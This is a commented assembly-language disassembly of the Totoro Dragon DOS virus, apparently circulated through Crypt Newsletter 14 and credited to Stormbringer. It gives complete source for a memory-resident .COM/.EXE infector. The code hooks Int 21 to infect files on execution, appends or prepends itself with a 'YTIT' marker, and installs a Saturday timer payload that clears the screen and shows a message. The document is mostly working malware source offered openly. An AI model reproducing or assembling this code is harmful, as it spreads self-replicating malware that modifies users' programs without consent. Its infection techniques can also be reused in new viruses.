;TOTORO DRAGON disassembly.  Included, for your pleasure, in Crypt
;Newsletter 14.  Profuse thanks to Stormbringer, wherever he is.

;***************************************************************************
;*		 The Totoro Dragon Virus from Taiwan		     *
;***************************************************************************
;*    This virus is a fairly simple resident .EXE/.COM infector.  It goes  *
;*resident by re-executing the infected file and using Int 21, function 31.*
;*When it infects a .COM, it puts itself at the beginning of the file and  *
;*starts the host at an offset of 600h (700h in memory), giving the virus  *
;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker  *
;*at the end ("YTIT").  It infects .EXE files using the "standard" method. *
;*While it does save file attributes, the time and date change when a file *
;*is infected.  The virus activates on Saturdays.  When active, it installs*
;*an Int 08 (Timer click) handler that counts to  0CCCh, then shoves the   *
;*text off the screen and prints the following in the upper left-hand      *
;*corner:								  *
;*									 *
;*			ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·			 *
;*			º    Totoro  Dragon    º			 *
;*			ºHello! I am TOTORO CATº			 *
;*			º Written by Y.T.J.C.T º			 *
;*			º in Ping Tung. TAIWAN º			 *
;*			º Don't Worry,be Happy º			 *
;*			ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ			 *
;*									 *
;*It then restarts the counter and does it again.  Other that this effect, *
;*the virus seems relatively harmless.				     *
;*									 *
;*									 *
;*			Disassembly by Stormbringer		      *
;***************************************************************************
.model tiny
.radix 16
.code
	org     100h

start:
		jmp     short COM_Entry_Point
		nop
;***************************************************************************
;*			      Data Tables				*
;***************************************************************************
File_Size_Off   dw      5
File_Size_Seg   dw      0
TSR_DAT	 dw      4262h
DS_Save	 dw      0F21h
ES_Save	 dw      0F21h
File_Attribs    dw      20h
IP_Save	 dw      0
CS_Save	 dw      0F99
SP_Save	 dw      0
SS_Save	 dw      0
File_Type       db      'C'

Wasted_Space    db      0, 0, 0	 ;?

;********************************************
;		EXE_Header		 ;
;********************************************
	EXE_Sig	 db      'MZ'
	Last_Page_Len   dw      14h
	EXE_Size	dw      5
	Rel_Tbl_Items   dw      0
	Header_Size     dw      20h
	Minalloc	dw      0
	Maxalloc	dw      0ffff
	Init_SS	 dw      1
	Init_SP	 dw      700h
	Checksum	dw      0
	Init_IP	 dw      91h
	Init_CS	 dw      1
	First_Rel       dw      001Eh
	Overlay_Num     dw      0
;********************************************

CS_Store	dw      0
Command	 db      'COMMAND.COM', 0
		db       00h, 80h, 00h
ES_Store_1      dw      0F21h
		dw      5Ch
ES_Store_2      dw      0F21h
		dw      6Ch
ES_Store_3      dw      0F21h
File_Handle     dw      5

Buffer_For_Checks	 db      0
			  db       4Ch,0CDh, 21h

File_Name_Off   dw      469h
File_Name_Seg   dw      0DF5h
		db      0
Mem_Seg	 dw      0F93h
IP_24	   dw      156h
CS_24	   dw      0DF5h

;************************************************************************
;*		     Virus Entry Point #1 (COM)		       *
;************************************************************************
COM_Entry_Point:
		mov     ax,0F1F1h       ;Is the virus in memory?
		int     21h
		mov     cs:CS_Store,0
		mov     cs:[ES_Save],es
		cmp     ax,0F1F1h	  ;AX preserved?
		je      Already_Installed  ;Same? go Already_Installed
		jmp     Install_Virus      ;Not In Mem? go Install_Virus

Already_Installed:		 ;Restore control to host file (COM)
		mov     ax,cs
		mov     es,ax		   ;ES = DS = CS
		mov     ds,ax
		mov     ah,0CBh		 ;Restore Control
		mov     si,700h		 ;Offset of host in file
		mov     di,100h		 ;Original offset of host
		mov     cx,cs:[File_Size_Off]   ;Size of host file

		int     21h	;Call internal routine to restore control
				   ;to host .COM file.

;************************************************************************
;*		     Virus Entry Point #2 (EXE)		       *
;************************************************************************
EXE_Entry_Point:
		mov     ax,cs
		sub     ax,10h
		push    ax
		mov     ax,offset After_Jump
		push    ax
		retf			    ;Jump to After_Jump with
						;original .COM offsets.
After_Jump:
		mov     cs:[ES_Save],es
		mov     cs:[DS_Save],ds
		mov     ax,0F1F1h
		int     21h
		cmp     ax,0F1F1h	       ;Check if installed.
		jne     Get_New_Seg	     ;Nope, Install....

		cli
		mov     ax,cs:[SS_Save]	 ;Yes, restore host regs
		add     ax,10h
		mov     bx,es
		add     ax,bx
		mov     ss,ax
		mov     sp,cs:[SP_Save]
		sti

		mov     ax,cs:[CS_Store]
		mov     bx,es
		add     ax,bx
		add     ax,10h
		mov     word ptr cs:[IP_Save+2],ax
		jmp     dword ptr cs:[IP_Save]	  ;Restore Control to
							;.EXE host.

Get_New_Seg:
		push    es			;For later RETF
		xor     ax,ax
		mov     ds,ax		     ;DS = 0

;****************************************************************************
;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper *
;*      (unused) part of the interrupt tables. This virus uses the top three*
;*      bytes, i.e. the INT 99 entry, to run a repnz movsb command followed *
;*      by a retf.  This is to copy the virus to a new segment in memory and*
;*      jump to it.							 *
;****************************************************************************

		mov     word ptr ds:[3fdh],0A4F3h ;repnz movsb
		mov     byte ptr ds:[3ffh],0CBh   ;retf

		push    cs
		pop     ds

		mov     si,100h
		mov     di,si		     ;Copy virus to new segment
		mov     cx,600h		   ;and "RETF" to
		mov     ax,offset Install_Virus   ;Install_Virus in new copy
		push    ax
		db      0EAh,0FDh, 03h, 00h, 00h  ;Jump far 0:3FDh

Install_Virus:
		cli			     ;Disable interrupts
		push    cs
		pop     ds
		mov     ah,2Ah
		int     21h		     ;Get Day/Date

		cmp     al,6		    ;Is it Saturday?
		jne     Set_Int_21	      ;Nope, don't activate, just
		mov     ax,3508h		;infect files.
		int     21h		     ;Get Int 08 address

		mov     word ptr cs:[IP_08],bx
		mov     word ptr cs:[CS_08],es
		mov     dx,offset Int_08
		mov     ax,2508h
		int     21h		     ;Set Int 08

Set_Int_21:
		mov     ax,3521h
		int     21h		     ;Get Int 21 address

		mov     word ptr cs:[IP_21],bx
		mov     word ptr cs:[CS_21],es
		mov     dx,offset Int_21
		mov     ax,2521h
		int     21h		     ;Set Int_21

		mov     es,cs:[ES_Save]
		cmp     cs:[TSR_DAT],426Bh      ;Second Execute?
		je      Go_TSR		  ;Yep, go TSR

		mov     bx,1000h		;Nope, set up for second exec.
		mov     ah,4Ah
		int     21h		     ;Change Mem Allocation
						;to 64k.

		mov     es,es:[2ch]	     ;Environment string
		xor     di,di
		xor     al,al
		mov     cx,7FFFh

Find_Filename:				  ;Search Environment for
		repne   scasb		   ;filename of host.
		cmp     es:[di],al
		loopnz  Find_Filename

		add     di,3		    ;Skip drive designator
						;i.e. "C:\" in
						;"C:\Infected.EXE"
		mov     dx,di

		push    es
		pop     ds		      ;DS:DX = host filename
		push    cs
		pop     es

		cli			     ;Clears Ints (so none can
						;disrupt second execution
						;of virus)

		mov     ax,cs:[ES_Save]
		mov     cs:[ES_Store_1],ax
		mov     cs:[ES_Store_2],ax
		mov     cs:[ES_Store_3],ax
		mov     bx,144h
		mov     ax,4B00h		;Re-Execute the file
		pushf
		call    dword ptr cs:[IP_21]    ;Call Int 21 to Execute file.

Go_TSR:
		mov     ah,31h
		mov     dx,71h
		int     21h		     ;Terminate and Stay Resident.

Int_21:
		pushf			   ;Push flags
		cmp     ax,0F1F1h	       ;Is it an Install Check?
		jne     Is_It_Execute	   ;No, Go Is_It_Execute
		mov     ax,0F1F1h	       ;Yes, save value (unneccesary)
		popf
		iret			    ;Return to virus in program.

Is_It_Execute:
		cmp     ax,4B00h		;Is it a Load & Execute call?
		jne     Restore_Host	    ;Nope, continue on.
		call    execute		 ;Infect the file if possible.
		jmp     short Go_Int_21	 ;And go to old Int 21 handler.
		nop
Restore_Host:
		cmp     ah,0CBh		 ;Is it a request to restore
		jne     Go_Int_21	       ;control to host?
		pop     ax ax		   ;Pop flags + Old IP (not kept)
		mov     word ptr cs:[IP_Save],100h
		pop     ax
		mov     word ptr cs:[IP_Save+2],ax
		rep     movsb		   ;Restore Host to orig. Pos.
		popf			    ;Completely remove old Int call
		mov     ax,0
		jmp     dword ptr cs:[IP_Save]  ;Jump to Host:100
Go_Int_21:
		popf			    ; Pop flags

		db      0ea		     ;Jump to Int 21
IP_21	   dw      040ebh
CS_21	   dw      0011


execute:
		push    es ds ax bx cx dx si di
		mov     cs:[File_Name_Seg],ds
		mov     cs:[File_Name_Off],dx
		mov     ax,3524h		;Get Int 24 Address
		int     21h		     ;(Critical Error)

		mov     cs:[IP_24],bx
		mov     cs:[CS_24],es
		push    cs
		pop     ds
		mov     dx,offset Int_24
		mov     ax,2524h
		int     21h		     ;Set Int 24

		mov     ds,cs:[File_Name_Seg]
		mov     si,cs:[File_Name_Off]

Name_Check:
		lodsb
		or      al,al		   ;Is the first byte a zero?
		jnz     Name_Check	      ;Nope, find end of string
		mov     al,[si-2]
		and     al,0DFh
		cmp     al,4Dh		  ;'M'
		je      Is_Com		  ;COM file, jump Is_Com
		cmp     al,45h		  ;'E'
		je      Is_EXE		  ;EXE file, jump Is_EXE
		jmp     Clean_Up		;Neither? Go Clean_Up
Is_Com:
		mov     cs:[File_Type],'C'      ;Save File type for later.
		jmp     short Check_If_Command
		nop
Is_EXE:
		mov     cs:[File_Type],'E'

Check_If_Command:
		sub     si,0Ch
		mov     di,offset Command
		push    cs
		pop     es
		mov     cx,0Bh		  ;Is it Command.COM?
		repe    cmpsb
		jnz     Start_Infect	    ;No, Jump Start_Infect
Got_An_Error:
		jmp     Clean_Up		;Is Command, get otta here.

Start_Infect:
		mov     ds,cs:[File_Name_Seg]
		mov     dx,cs:[File_Name_Off]
		mov     ax,4300h
		int     21h		     ;Get Attribs

		jc      Got_An_Error
		mov     cs:[File_Attribs],cx
		xor     cx,cx
		mov     ax,4301h
		int     21h		     ;Zero Attrib's for read/write

		jc      Got_An_Error
		mov     ax,3D02h
		int     21h		     ;Open Read/Write

		jnc     Check_Infect	;Everything Fine? go Check_Infect
		jmp     Reset_Attribs       ;Couldn't Open, go Reset_Attribs

Check_Infect:
		mov     bx,ax
		mov     cs:[File_Handle],ax
		mov     cx,0FFFFh
		mov     dx,0FFFCh
		mov     ax,4202h
		int     21h		     ;Move to 4 bytes from end

		add     ax,4
		mov     cs:[File_Size_Off],ax
		push    cs
		pop     ds
		mov     dx,offset Buffer_For_Checks
		mov     cx,4
		mov     ah,3Fh
		int     21h
						;Read in Last 4 bytes of file
		push    cs
		pop     es
		mov     cx,4
		mov     si,offset Marker       ;are last 4 bytes 'YTIT'?
		mov     di,offset Buffer_For_Checks       ;
		repe    cmpsb
		jnz     Check_Which_Type   ;Not infected? Go Check_Which_Type
		jmp     Close_File	     ;Infected? Go Close_File

Check_Which_Type:
		cmp     cs:[File_Type],'C'      ;Is it a .COM?
		je      COM_Infect	      ;Yes, go COM_Infect
		jmp     EXE_Infect	      ;No, go EXE_Infect

COM_Infect:
		mov     ah,48h
		mov     bx,1000h
		int     21h		     ;Allocate 64k of memory

		jnc     Load_In_File	    ;No Prob? Go Load_In_File
		jmp     Close_File		  ;Otherwise, go Close_File

Load_In_File:
		mov     cs:[Mem_Seg],ax
		mov     bx,cs:[File_Handle]
		xor     cx,cx
		xor     dx,dx
		mov     ax,4200h
		int     21h		     ;Go to beginning of file

		push    cs
		pop     ds
		mov     es,cs:[Mem_Seg]

		mov     si,100

		mov     di,si
		mov     cx,700h
		rep     movsb
		mov     ds,cs:Mem_Seg
		mov     cx,cs:[File_Size_Off]
		mov     dx,700h
		mov     ah,3Fh		  ;Load entire file to directly
		int     21h		     ;after virus.

		xor     cx,cx
		xor     dx,dx
		mov     ax,4200h
		int     21h		     ;Move to the beginning of file

		mov     dx,100h
		mov     cx,cs:[File_Size_Off]
		add     cx,600h
		mov     ah,40h
		int     21h		     ;Write entire file back to disk

		jc      Go_Release_Mem
		xor     cx,cx
		xor     dx,dx
		mov     ax,4202h
		int     21h		     ;Move to end of file

		mov     cs:[File_Size_Seg],0    ;COM < 64k
		add     ax,4		    ;Add 4 for marker bytes
		mov     cs:[File_Size_Off],ax   ;Save file size
		push    cs
		pop     ds
		mov     dx,offset Marker
		mov     cx,4
		mov     ah,40h
		int     21h		     ;Write in marker 'YTIT'

Go_Release_Mem:
		jmp     Release_Mem
		jmp     Close_File

EXE_Infect:
		xor     cx,cx
		xor     dx,dx
		mov     ax,4200h
		int     21h		     ;Move to beginning of file

		push    cs
		pop     ds
		db      8dh,16h,1bh,01	  ;lea     dx,cs:[11Bh]
		mov     cx,1Ch
		mov     ah,3Fh
		int     21h		     ;Read in .EXE header

Save_Header_NFO:
		cli			       ;clear ints
		mov     ax,cs:[Init_CS]
		mov     cs:[CS_Store],ax	  ;Save old CS
		mov     ax,cs:[Init_IP]
		mov     word ptr cs:[IP_Save],ax  ;Save old IP
		mov     ax,cs:[Init_SS]
		mov     cs:[SS_Save],ax	   ;Save old SS
		mov     ax,cs:[Init_SP]
		mov     cs:[SP_Save],ax	   ;Save old SP
		sti			       ;restore ints

		xor     ax,ax
		cmp     cs:[Last_Page_Len],0
		je      Calculate_Exe_Header
		dec     cs:[EXE_Size]

Calculate_Exe_Header:			     ;Long, drawn out way
						  ;to calculate new EXE header
		mov     cx,200h
		xor     dx,dx
		mov     ax,cs:[EXE_Size]
		mul     cx
		add     ax,cs:[Last_Page_Len]
		add     ax,0Fh
		adc     dx,0
		and     ax,0FFF0h
		mov     cs:[File_Size_Off],ax
		mov     cs:[File_Size_Seg],dx
		push    dx ax dx ax
		xor     dx,dx
		mov     ax,cs:[Header_Size]
		mov     cx,10h
		mul     cx
		pop     bx cx
		sub     bx,ax
		sbb     cx,dx
		xchg    ax,bx
		xchg    dx,cx
		mov     cx,10h
		div     cx
		mov     cs:[Init_CS],ax
		mov     cs:[Init_SS],ax
		mov     cs:[Init_SP],700h
		mov     cs:[Init_IP],offset EXE_Entry_Point-100
		pop     ax dx
		push    dx ax
		add     ax,604h
		adc     dx,0
		mov     cx,200h
		div     cx
		mov     cs:Last_Page_Len,dx
		or      dx,dx
		jz      Rewrite_Header
		inc     ax

Rewrite_Header:
		mov     cs:[EXE_Size],ax
		xor     cx,cx
		xor     dx,dx
		mov     bx,cs:[File_Handle]
		mov     ax,4200h
		int     21h		     ;Move back to beginning of file

		push    cs
		pop     ds
		mov     dx,offset EXE_Sig
		mov     cx,1Ch
		mov     ah,40h
		int     21h		     ;Write EXE header back to file

		pop     dx
		pop     cx
		jc      Close_File
		mov     ax,4200h
		int     21h		     ;Go to end of host.

		push    cs
		pop     ds
		mov     dx,100
		mov     cx,600h
		mov     ah,40h
		int     21h		     ;Write Virus
		jc      Close_File

		xor     cx,cx
		xor     dx,dx
		mov     ax,4202h
		int     21h		     ;Go to end of file.

		mov     dx,offset Marker
		mov     cx,4
		mov     ah,40h
		int     21h		     ;Write marker byte.

		jmp     short Close_File
		nop
Release_Mem:
		mov     es,cs:Mem_Seg
		mov     ah,49h
		int     21h		     ;Release Memory

Close_File:
		mov     ah,3Eh
		mov     bx,cs:[File_Handle]
		int     21h		     ;Close file.

Reset_Attribs:
		mov     ds,cs:File_Name_Seg
		mov     dx,cs:File_Name_Off
		mov     cx,cs:File_Attribs
		mov     ax,4301h
		int     21h		     ;Reset File attributes

Clean_Up:
		mov     ds,cs:[CS_24]	   ;Restore Critical Error
		mov     dx,cs:[IP_24]
		mov     ax,2524h
		int     21h

		pop     di si dx cx bx ax ds es
		retn


Int_24:					 ;Critical Error Handler
		xor     ax,ax
		iret

Int_08:					 ;Timer Click Handler
		pushf
		inc     cs:[Activation_Counter]
		cmp     cs:[Activation_Counter],0CCCh
		jne     Go_Int_08
		mov     cs:[Activation_Counter],0       ;Reset Counter
		push    ds es si di ax bx cx dx
		call    Get_Mode
		call    Scroll_Area
		call    Print_Message
		pop     dx cx bx ax di si es ds
Go_Int_08:
		popf			    ; Pop flags
		db      0EA
IP_08	   dw      003Ch
CS_08	   dw      0D80h

Screen_Width	       dw      0
Activation_Counter	 dw      1E0h

Get_Mode:
		mov     ah,0Fh
		int     10h		     ;Get Video Mode

		mov     bx,0B000h	       ;Mode 7 Text Video Memory
		mov     es,bx
		cmp     al,7
		je      In_Mode_7
		mov     bx,0B800h	       ;Regular Text Video Memory
In_Mode_7:
		mov     es,bx
		mov     ds,bx
		mov     cs:[Screen_Width],4Fh

Setup_Screen:
		mov     cx,19h
		mov     bx,0
Clear_Screen:
		push    cx
		call    Scroll_Line
		add     bx,0A0h
		pop     cx
		loop    Clear_Screen

		dec     cs:[Screen_Width]
		jnz     Setup_Screen
		retn

Scroll_Line:				    ;This subroutine clears the
		mov     di,bx		   ;screen by scrolling the text
		mov     si,bx		   ;straight off of the left
		add     si,2		    ;side.
		mov     cx,cs:[Screen_Width]

Scroll_Sideways:
		lodsb
		stosb
		inc     si
		inc     di
		loop    Scroll_Sideways
		retn

Print_Message:
		xor     bx,bx
		push    cs
		pop     ds
		db      8dh,36h,18h,06	  ;lea     si,cs:[Totoro_Design]
		mov     ah,0Eh
Print_Loop:
		lodsb
		int     10h		     ;Write Char in Teletype mode
		cmp     byte ptr [si],24h       ;is it a '$'?
		jne     Print_Loop	      ;Nope, continue writing
		retn

Scroll_Area:
		xor     bx,bx		   ;Video Page 0
		mov     ah,3
		int     10h		     ;Get Cursor info

		push    dx		      ;Push Cursor Location (DX)
		mov     ah,6
		mov     bh,7
		mov     al,18h
		xor     cx,cx
		mov     dh,18h
		mov     dl,4Fh
		int     10h		     ;Scroll up (clear screen)

		mov     ah,2
		pop     dx
		sub     dh,2
		xor     bx,bx
		int     10h		     ;Reset Cursor

		xor     bx,bx
		xor     dx,dx
		mov     ah,2
		int     10h		     ;Set Cursor for printing.
		retn

Totoro_Design:
		db      ' ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·',0Dh, 0Ah
		db      ' º    Totoro  Dragon    º',0Dh, 0Ah
		db      ' ºHello! I am TOTORO CATº',0Dh, 0Ah
		db      ' º Written by Y.T.J.C.T º',0Dh, 0Ah
		db      ' º in Ping Tung. TAIWAN º',0Dh, 0Ah
		db      ' º Don''t Worry,be Happy º',0Dh, 0Ah
		db      ' ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ$'
Marker	  db      'YTIT'
		db      28 dup (0)

;***************************************************************************
;*End of virus. The bytes below this line are the infected program and the *
;*	      viruses' identification bytes.			     *
;***************************************************************************

Host_Program:
		mov     ax,4c00
		int     21

Infected_Mark   db      'YTIT'
end     start